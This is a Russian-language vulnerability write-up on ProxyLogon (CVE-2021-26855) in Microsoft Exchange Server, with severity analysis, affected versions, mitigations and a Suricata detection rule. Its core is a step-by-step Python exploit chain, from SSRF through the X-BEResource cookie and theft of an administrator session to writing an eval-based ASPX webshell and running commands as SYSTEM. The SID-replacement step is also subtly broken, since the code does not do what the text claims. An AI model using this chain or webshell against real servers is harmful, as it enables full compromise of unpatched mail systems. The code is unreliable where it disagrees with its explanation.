Уязвимость почтового сервера Microsoft Exchange Server
Уязвимость почтового сервера Microsoft Exchange Server
Категория: Программы Теги: Уязвимости Опубликовано: 16 мая 2025

Уязвимость BDU:2021-01123 (CVE-2021-26855) Microsoft Exchange Server

Уязвимость BDU:2021-01123 (CVE-2021-26855), также известная как ProxyLogon, связана с недостаточной проверкой HTTP-запросов в Microsoft Exchange Server. Она позволяет злоумышленнику выполнить SSRF-атаку (Server-Side Request Forgery), обойти аутентификацию и получить права администратора. В сочетании с CVE-2021-27065 (произвольная запись файлов) это приводит к выполнению произвольного кода на сервере.


Анализ уязвимости

Уровень опасности: 9.1 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

  1. AV:N (Вектор атаки: Сетевой) – Удалённая эксплуатация через интернет.

  2. AC:L (Сложность атаки: Низкая) – Простая реализация без сложных условий.

  3. PR:N (Привилегии: Нет) – Доступ к системе не требуется.

  4. UI:N (Взаимодействие: Нет) – Участие пользователя не нужно.

  5. S:U (Область: Неизменная) – Влияет только на уязвимый компонент.

  6. C:H (Конфиденциальность: Высокое) – Полная компрометация данных.

  7. I:H (Целостность: Высокое) – Возможность полного изменения данных.

  8. A:N (Доступность: Нет) – Нет влияния на доступность системы.

Интерпретация: Критическая уязвимость (9.1) позволяет удалённо без прав и участия пользователя нарушить конфиденциальность и целостность системы. Риск максимален из-за сетевого вектора, низкой сложности эксплуатации и полного контроля над данными, но доступность системы не затрагивается.

Условия эксплуатации

  1. Доступ к порту 443: Сервер должен быть доступен извне (не требует внутреннего доступа).

  2. Наличие уязвимой версии Exchange: Например, Exchange Server 2016 CU19, 2019 CU8 и другие (см. список выше).

  3. Знание валидного email-адреса: Эксплоиту требуется корректный email пользователя на сервере, но не нужен пароль.

  4. Отсутствие патчей: Сервер не обновлён до исправленных версий.

Уязвимые версии

  • Microsoft Exchange Server 2016 Cumulative Update 8
  • Microsoft Exchange Server 2016 Cumulative Update 9
  • Microsoft Exchange Server 2013 Cumulative Update 21
  • Microsoft Exchange Server 2016 Cumulative Update 10
  • Microsoft Exchange Server 2016 Cumulative Update 11
  • Microsoft Exchange Server 2019
  • Microsoft Exchange Server 2013 Cumulative Update 22
  • Microsoft Exchange Server 2016 Cumulative Update 12
  • Microsoft Exchange Server 2019 Cumulative Update 1
  • Microsoft Exchange Server 2016 Cumulative Update 19
  • Microsoft Exchange Server 2013 Cumulative Update 23
  • Microsoft Exchange Server 2016 Cumulative Update 13
  • Microsoft Exchange Server 2019 Cumulative Update 2
  • Microsoft Exchange Server 2016 Cumulative Update 14
  • Microsoft Exchange Server 2019 Cumulative Update 3
  • Microsoft Exchange Server 2016 Cumulative Update 16
  • Microsoft Exchange Server 2016 Cumulative Update 17
  • Microsoft Exchange Server 2019 Cumulative Update 5
  • Microsoft Exchange Server 2019 Cumulative Update 6
  • Microsoft Exchange Server 2016 Cumulative Update 18
  • Microsoft Exchange Server 2019 Cumulative Update 7
  • Microsoft Exchange Server 2019 Cumulative Update 8
  • Microsoft Exchange Server 2016 Cumulative Update 15
  • Microsoft Exchange Server 2019 Cumulative Update 4

Технический анализ эксплоита

Шаг 1: Обнаружение сервера и FQDN

Общедоступный эксплоит к BDU:2021-01123 (CVE-2021-26855) отправляет GET-запрос с поддельным заголовком X-BEResource, чтобы получить внутреннее имя сервера (FQDN) из заголовка X-FEServer:

ReqHAX = requests.get(
    f"https://{target}/ecp/{random_name}", 
    headers={"Cookie": "X-BEResource=localhost~1942062522"},
    verify=False
)
FQDN = ReqHAX.headers["X-FEServer"]

Этот шаг использует SSRF для доступа к внутренним ресурсам Exchange.


Шаг 2: Получение LegacyDN через Autodiscover

Эксплоит отправляет XML-запрос к Autodiscover, указывая email-адрес жертвы:

autoDiscoverBody = """
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
        <EMailAddress>%s</EMailAddress>
        <AcceptableResponseSchema>http://schemas...</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

ReqHAX = requests.post(
    f"https://{target}/ecp/{random_name}", 
    headers={"Cookie": f"X-BEResource={FQDN}/autodiscover/autodiscover.xml?a=~1942062522;"},
    data=autoDiscoverBody,
    verify=False
)
legacyDn = str(ReqHAX.content).split("<LegacyDN>")[1].split("</LegacyDN>")[0]

Ответ содержит LegacyDN — уникальный идентификатор почтового ящика, необходимый для дальнейшей атаки.


Шаг 3: Получение SID пользователя

Эксплоит формирует MAPI-запрос для получения SID (Security Identifier) пользователя:

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
ReqHAX = requests.post(
    f"https://{target}/ecp/{random_name}", 
    headers={"Cookie": f"X-BEResource=Administrator@{FQDN}:444/mapi/emsmdb?...;"},
    data=mapi_body,
    verify=False
)
sid = str(ReqHAX.content).split("with SID ")[1].split(" ")[0].replace("-500", "-500")  # Подмена SID на административный

Здесь SID обычного пользователя заменяется на -500 (SID администратора), что позволяет повысить привилегии.


Шаг 4: ProxyLogon и получение сессии

Эксплоит отправляет XML-запрос для аутентификации через уязвимость ProxyLogon:

proxyLogon_request = f"""
<r at="Negotiate" ln="john"><s>{sid}</s>...</r>
"""
ReqHAX = requests.post(
    f"https://{target}/ecp/{random_name}", 
    headers={"Cookie": f"X-BEResource=Administrator@{FQDN}:444/ecp/proxyLogon.ecp?a=~1942062522;"},
    data=proxyLogon_request,
    verify=False
)
msExchEcpCanary = ReqHAX.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]

В ответ сервер возвращает куки msExchEcpCanary и ASP.NET_SessionId, подтверждающие аутентификацию.


Шаг 5: Запись webshell на сервер

Эксплоит изменяет параметры OABVirtualDirectory, чтобы записать файл exchmshell.aspx:

oab_json = {
    "identity": {"RawIdentity": oabId},
    "properties": {"Parameters": {"ExternalUrl": "http://ffff/#%s" % shell_content}}
}
requests.post(
    f"https://{target}/ecp/{random_name}", 
    headers={"Cookie": f"X-BEResource=Administrator@{FQDN}:444/ecp/DDI/DDIService.svc/SetObject?...;"},
    json=oab_json,
    verify=False
)

Содержимое webshell:

<script language="JScript" runat="server">
    function Page_Load(){ eval(Request["code"],"unsafe"); }
</script>

Этот файл позволяет выполнять произвольные команды через параметр code.


Шаг 6: Выполнение команды

Эксплоит отправляет POST-запрос к webshell для выполнения команды:

shell_url = f"https://{target}/owa/auth/exchmshell.aspx"
data = requests.post(
    shell_url,
    data={"code": 'Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll())'},
    verify=False
)
print("Результат команды:", data.text)

Пример вывода: nt authority\system.


Защита от эксплуатации уязвимости

  1. Установка обновлений: Применить патчи Microsoft.

  2. Ограничение доступа к ECP: Блокировка порта 443 для внешних сетей, если это возможно.

  3. Мониторинг аномалий:

    • Подозрительные запросы к /ecp/* с куками X-BEResource.

    • Попытки записи файлов в C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\.

  4. Использование WAF: Правила для блокировки SSRF-запросов и аномальных заголовков.


Пример сигнатуры для Suricata

alert http any any -> $EXCHANGE_SERVERS 443 (msg:"CVE-2021-26855: ProxyLogon Exploit"; 
flow:to_server; 
http.header; 
content:"X-BEResource"; 
content:"/autodiscover/autodiscover.xml"; 
classtype:web-application-attack; sid:1000001;)
Алексей Черемных Алексей Черемных
91